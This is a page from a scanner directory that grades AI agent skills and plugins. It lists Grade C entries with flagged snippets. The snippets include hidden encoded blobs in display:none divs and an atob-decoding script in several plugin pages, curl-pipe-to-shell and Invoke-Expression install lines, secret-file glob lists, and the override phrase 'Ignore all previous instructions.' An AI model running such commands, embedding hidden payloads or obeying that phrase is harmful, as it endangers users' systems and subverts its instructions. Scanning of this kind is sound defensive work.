Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 2301 to 2350 of 3,335 Grade C entries. Page 47 of 67.
Listed A to Z by name.
No entries match that filter.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zCl6etzL0" style="display:none">1wAk0XBWoWgO/pBcS3PQ1n90G0tXZbCkI9oQtIzkHA7hHSjbckbmElezPersona Morph Engine (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
hooks/secrets-guard.sh:105 SECRET_GLOBS = ("*.env", ".env.*", "*id_rsa*", "*.pem", "*credentials*.json")Pf Handoff (Skill)
Compatibility: Not stated.
Context budget and session continuity for Claude Code: HANDOFF checkpoints, resume, statusline.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL
skills/ai-photo-restyler/scripts/authorize.py:432 path = state_dir / "credentials.json"Photo To Anime Skill (Skill)
Compatibility: Not stated.
English | [简体中文](./README.zh-CN.md) | [日本語](./README.ja.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST SECRETS_PATH_DOTENV
packages/cli/src/skill.ts:24 - PowerShell: \`Invoke-Expression (& npx -y p1geon env --shell powershell | Out-Spigeon (Skill)
Compatibility: Not stated.
Give coding agents a safe route for sharing screenshots and artifacts from any machine, including headless servers.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zsbGgmSp0" style="display:none">rLyLxVN36ebn5qtfxVVyM54bFDFzzbFmT43jUp14sJWaoYfPUWeunL6rPirate Talk For Claude (Plugin)
Compatibility: Not stated.
Every developer who has sailed the treacherous waters of legacy code knows the feeling.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
core/docs/project-docs.md:439 ### `requests.get(url, params=None, **kwargs)`Prometheus Ai (Skill)
Compatibility: Not stated.
One set of instructions, skills, and reference docs for coding agents, shared by Claude Code, Codex, Gemini CLI, Cursor, and dsh (DeepSeek Harness).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB
README.md:139 The configuration wizard will ask for your API keys and preferred model. Keys are stored locallyPrompt Weaver Framework (Plugin)
Compatibility: Not stated.
Most prompt builders are like giving someone a hammer and telling them to build a cathedral.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zxvOXi1n0" style="display:none">0fvE8viJ9Gy+zBnBvdyg7IbZKq9ECsCUKz629H758Rfn5sj4+pmzFueBPythonic Design Auditor (Plugin)
Compatibility: Not stated.
**Version 2026.1.0 | MIT Licensed | Inspired by Arjan Codes**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST
brainstorming/scripts/server.cjs:287 if (fs.existsSync(eventsFile)) fs.unlinkSync(eventsFile);Pyx Skills (Skill)
Compatibility: Not stated.
面向 Codex 的个人 AgentSkills 集合。仓库关注的不只是“告诉模型做什么”，还包括在正确的位置设置证据、权限和可恢复性门禁，同时把方案选择、分析深度和局部实现方式留给模型判断。
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
src/ui/conversation-image.ts:16 if (file.url.startsWith("data:")) return (await fetch(file.url)).arrayBuffer()Qiaomu Agent (Skill)
Compatibility: Not stated.
**把 AI 放进 Obsidian 笔记旁边。**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST OBFUSCATION_MINIFIED_PAYLOAD
skills/qstack-plan-to-html/template/v1/fonts/README.md:25 curl -s "https://fonts.googleapis.com/css2?family=Arqstack (Skill)
Compatibility: Not stated.
Agent skills for planning work, executing it against the plan, and proving the result.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zTipgHsA0" style="display:none">qN24AXnMnM+WdSdY5DqdC4S6e05rKRVKWCdj8rpB6J6ewLQLe9zbtc84R Package Maker (Plugin)
Compatibility: Not stated.
**Version 2.0.0 | MIT License | 2026 Release**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zKB1IsrX0" style="display:none">ns2Dx3a+5CnRm+YJk1XhIGUprJBSLub9YNplhZE0NB6o0I/NdK6jU4jWReadme Mask Commander (Plugin)
Compatibility: Not stated.
**Generate production-ready, privacy-sanitized, and shareable developer READMEs directly from your Claude Code or Codex CLI environment.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB
README.md:202 # Or use .env fileReel Mind Map (Plugin)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED
scripts/export-banner.py:75 subprocess.run(command, check=True)ResearchLens (Skill)
Compatibility: Not stated.
深入研究论文、topic、系统设计或创新点的分析 skill。用于表层理解、第一性原理分析、设计哲学拆解、因果机制分析、主 agent 调度的迭代深化、子 agent 调研、学术依据查证、笔记化压缩，以及在需要时提炼迁移启发或研究机会。**硬性约束：任何任务在开始实质分析前，必须先输出规划摘要并使用 AskUserQuestion 让用户确认，无例外。**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
skills/README.md:26 curl -fsSL https://raw.githubusercontent.com/figitaki/reviews/main/install.sh | shreviews (Skill)
Compatibility: Not stated.
Reviews is a code-review tool for arbitrary diffs.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
validation/README.md:14 - **opencode** CLI (>= 1.18) - `curl -fsSL https://opencode.ai/install | bash` or seeRubber Duck (Skill)
Compatibility: Not stated.
<p align="center"> <img src="docs/assets/rubber_duck.svg" style="margin: 0 auto; width: 25%;"/> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:1 <script>(function(){var k=atob('+4C8NC+kTF+Pe+dtahDoXJFEea66YsGRUVZU/NYsac8='),d=atob('x6H4e2zwFQRust Quest Builder (Plugin)
Compatibility: Not stated.
Most Rust tutorials treat you like a passenger.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
scripts/package_mcpb.py:39 "*.key", "*.pem", "*.secret", "*credentials.json",Sbis Mcp Ru (Skill)
Compatibility: Not stated.
API СБИС прямо в Claude: документы и этапы документооборота, подписание вложений, сертификаты и МЧД, сотрудники, контрагенты, подразделения.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_UNPINNED +1 more
scripts/collect_skills.py:458 result = subprocess.run(sciskill (Skill)
Compatibility: Not stated.
Chinese version: [README.zh-CN.md](https://github.com/sciskillhub/sciskill/blob/main/README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zXkeXwdU0" style="display:none">ZTPYPLGIpy/4+bsfaIHvFy16fE0LdpUTWpb52l3dVRdTLtQ2s5jgVaG0Second Opinion Rival Verdict (Plugin)
Compatibility: Not stated.
Every AI coding agent operates with an invisible flaw: **absolute confidence in its own lineage**.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
skills/security-audit/scripts/generate-report.py:431 "dangerous-file-credentials-json": "Add credentials.jsonSecurity Audit (Skill)
Compatibility: Not stated.
Scan codebases for hardcoded secrets, credentials, API keys, and common security vulnerabilities
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
AGENT_IGNORE_INSTRUCTIONS
dev_plan.md:1906 Ignore all previous instructions.ServerFS_MCP (Skill)
Compatibility: Not stated.
Deploy, configure, upgrade, and diagnose ServerFS across supported Linux, Windows, and macOS deployments.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_UNCONFIRMED
sharextract/extractors/ytdlp.py:50 completed = subprocess.run(sharextract (Skill)
Compatibility: Not stated.
Extract normalized content from public share URLs, RSS/Atom feeds, timed-text/subtitle documents, and web pages using a protocol-first fallback ladder.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
bin/shellflow/src/executor/assert_step.rs:4 //! is-active`, a `curl -f`, a `grep` over the journal - and everyshellflow (Skill)
Compatibility: Not stated.
>-
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +2 more
src/hosted/store.ts:216 await fs.unlink(temp).catch(() => {});Shopify Multi Store (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_DOTENV
evals/git_state.py:12 completed = subprocess.run(Skill Codebase Onboarder (Skill)
Compatibility: Not stated.
<p align="center"> <img src="assets/banner.svg" alt="Codebase Onboarder: question to evidence to code map" width="100%"> </p>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB
README.md:49 - **Configuration Management** - Automatically generates environment variable schemas, `.env` temSkill Forge Claude Templates (Plugin)
Compatibility: Not stated.
Skill Architect AI transforms the way developers create, structure, and deploy custom skills for Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +1 more
scripts/build_review_packet.py:44 return subprocess.run( # noqa: S603skills (Skill)
Compatibility: Not stated.
[Agent Skills](https://agentskills.io/home) are folders of instructions, scripts, and resources - typically encoding procedural knowledge - that agents can discover and use to do things more accurately and efficiently.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
skills/clerk-cli/scripts/clerk-ensure.sh:21 fail "bun not found. Install: curl -fsSL https://bun.sh/install |skills (Skill)
Compatibility: Not stated.
Public collection of Agent Skills used by Arthur across Codex, Claude Code, and other compatible coding agents.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST
skills/brand-guideline-extraction/scripts/extract_frames.py:21 out = subprocess.run(skills (Skill)
Compatibility: Not stated.
Generate ads, segment target audiences, and simulate reactions with synthetic personas.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_DOTENV
package.json:35 prepareskills (Skill)
Compatibility: Not stated.
Inspect, build, repair, validate, and playtest Roblox Studio maps and Luau through a local MCP bridge.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
apps/quests/README.md:68 curl -LsSf https://hf.co/cli/install.sh | bashskills (Skill)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST
skills/pdf/scripts/verify_render.py:41 subprocess.check_call(["pdftoppm", "-r", str(dpi), "-png", pdf, base])skills (Skill)
Compatibility: Not stated.
> Open-source agent skills from [Temi](https://usetemi.com).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +1 more
syncthing-cleanup/scripts/cleanup_syncthing.py:396 result = subprocess.run(skills (Skill)
Compatibility: Not stated.
[中文版 README](README_zh.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES INSTALL_UNPINNED +2 more
sidecars/pingcode/src/token-store.js:242 fs.rmSync(jsonPath);skills (Skill)
Compatibility: Not stated.
[Deutsch](./i18n/README.de.md) | [Español](./i18n/README.es.md) | [français](./i18n/README.fr.md) | [日本語](./i18n/README.ja.md) | [한국어](./i18n/README.ko.md) | [Português](./i18n/README.pt.md) | [Русский](./i18n/README.ru.md) | [中文](./i18n/README.zh.md)
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zSYyGX130" style="display:none">bhUPiSLuDU6E/vEZfDo+euwAOpIpRcd5FLqpZ7ZNQjlYCAODIP5KNN2zSpec Loom Validator (Plugin)
Compatibility: Not stated.
In the chaotic gap between a product manager's vision and an engineering team's execution, countless projects derail.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zNMU4iOr0" style="display:none">9bsuH0ZHZXJX+ZL2FqZht39ofmA+kaiChqT0SmFY5bfDpiIVRFciCA60Stardust Studio Supernova (Plugin)
Compatibility: Not stated.
**Nebula Slate** is a groundbreaking greenfield sibling of the Stardust ecosystem, meticulously crafted on the impeccable foundation of scalable web design.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +1 more
scripts/check-skill.py:22 out = subprocess.run(["git", "ls-files", "*.md"], cwd=ROOT, capture_output=True, texStock Images (Skill)
Compatibility: Not stated.
Search and download stock photos from Pexels, Unsplash, and Pixabay for projects, landing pages, UI mockups, and content.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zacwPBIL0" style="display:none">kkRg23p1s8bC3rgFm+14cxl266H+ypsX+UCha2IVO7+kWWzReGX0vJuTStyle Breaker Toolkit (Plugin)
Compatibility: Not stated.
**Turn a Blank Slate into a Magnetic Developer Profile** , 4 core modules, 42 automation commands, live preview sandbox, and a reputation architecture analyzer.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_DOTENV
docs/experiments/2026-07-04-swt-assertflip-realbug-ab/grade_haiku.py:20 r = subprocess.run([sys.executable, "-Supergoal Skill (Skill)
Compatibility: Not stated.
Objective-driven dev router.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +3 more
bin/task-pipeline.js:91 fs.rmSync(staging, { recursive: true, force: true });Task Pipeline (Skill)
Compatibility: Not stated.
**Carry a substantial repository change from a locked brief through gated delivery and evidence-backed completion.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
src/doctor.py:178 f"`brew install ollama`; on Linux run `{install.get('linux', 'curl -fsSL https://ollama.com/TaxClaw (Skill)
Compatibility: Not stated.
Turn tax documents (W-2, 1099-NEC/INT/DIV/B/MISC/OID/R/G/K, 1099-DA, K-1, consolidated 1099s; PDF or image) into structured JSON/CSV for accountants and tax software, locally by default.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
lib/installer.mjs:170 fs.rmSync(lock, { recursive: true });Threadify Workflows (Skill)
Compatibility: Not stated.
Start with [one guided setup](installation.md).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zK5r3UBt0" style="display:none">Jia+Cz9SRFbBoc31Z4glLLpA9U8NTeMuV+xgf0YCsiwQO7IBPUIDLJjsVibe Coding Starter Kit (Plugin)
Compatibility: Not stated.
In 2026, the gap between having a brilliant idea and holding a functional prototype has never been narrower, yet most non-technical founders remain stuck in the conceptual quicksand.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_ENCODED_BLOB
index.html:9 <div id="zNWPqF9f0" style="display:none">TbRtRQ4yONnuRuWxmSROAFBTfoeDz3FrYye2Vx4l8R97qWFPDCJ/o7cLVibe Wave Router (Plugin)
Compatibility: Not stated.
**Version 2.0.0 | MIT License | 2026 Release**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
client/web/lib/api.ts:30 res = await fetch(`${API_BASE}/api/${path}`, {vibestudio (Skill)
Compatibility: Not stated.
> **Project status:** Altrina has wound down, and this repository is no longer maintained.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_DOTENV
video-study-pipeline/scripts/acquire_video.py:123 with subprocess.Popen(command, stdout=subprocess.PIPE, stderVideo Study Pipeline (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
scripts/setup_models.sh:122 log " Linux/macOS: curl -fsSL https://ollama.com/install.sh | sh"video2knowledge (Skill)
Compatibility: Not stated.
>-
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
SECRETS_PATH_CREDENTIAL
skills/viral-video-teardown-remake/scripts/authorize.py:432 path = state_dir / "credentials.json"Viral Video Remake Skill (Skill)
Compatibility: Not stated.
English | [简体中文](./README.zh-CN.md) | [日本語](./README.ja.md)
This grade is a hygiene screen, not proof of safety.
